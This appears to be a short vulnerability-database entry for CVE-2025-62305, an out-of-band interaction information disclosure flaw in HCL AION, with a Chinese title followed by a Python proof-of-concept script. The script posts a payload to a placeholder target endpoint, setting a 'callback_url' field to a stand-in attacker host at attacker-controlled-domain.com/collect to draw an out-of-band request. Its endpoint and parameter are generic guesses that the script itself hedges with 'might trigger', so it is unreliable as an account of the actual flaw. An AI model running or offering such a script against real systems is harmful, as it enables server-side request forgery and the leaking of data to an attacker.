CVE-2025-62305 HCL AION 带外交互致信息泄露漏洞

import requests # Proof of Concept for CVE-2025-62305 (OOB Interaction) # This script simulates the interaction that triggers the out-of-band request. # Replace ATTACKER_SERVER with your listener address. ATTACKER_SERVER = "http://attacker-controlled-domain.com/collect" TARGET_URL = "http://target-hcl-aion-server/vulnerable_endpoint" payload = { "input_data": "normal_data", "callback_url": ATTACKER_SERVER # This parameter might trigger the OOB interaction } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"Request sent to target. Status code: {response.status_code}") print("Check your listener on the attacker server for incoming connections.") except Exception as e: print(f"Error: {e}")